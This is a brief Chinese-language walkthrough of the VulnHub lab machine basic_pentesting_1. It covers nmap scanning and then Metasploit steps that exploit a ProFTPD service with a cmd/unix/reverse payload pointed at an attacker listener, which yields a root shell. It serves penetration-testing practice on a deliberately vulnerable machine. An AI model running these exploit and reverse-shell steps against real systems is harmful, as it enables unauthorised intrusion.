vulnhub系列：basic_pentesting_1

vulnhub系列：basic_pentesting_1

靶机下载

一、信息收集

nmap扫描存活，根据mac地址寻找IP

nmap 192.168.23.0/24

nmap扫描端口，开放端口：21、22、80

nmap 192.168.23.176 -p- -A -sV -Pn

访问80端口，提示没有添加任何内容

kali使用msfconsole查找漏洞

msfconsole

search ProFTPD

二、getshell

可以看到第五个是符合版本的（之前扫描端口的版本），使用并查看配置信息

use 5
options

需要配置rhosts

set rhosts 192.168.23.176

设置payload

set payload cmd/unix/reverse

查看配置，还需要配置监听地址

options

配置lhost

set lhost 192.168.23.133

输入run开始执行，成功getshell，发现已经是root权限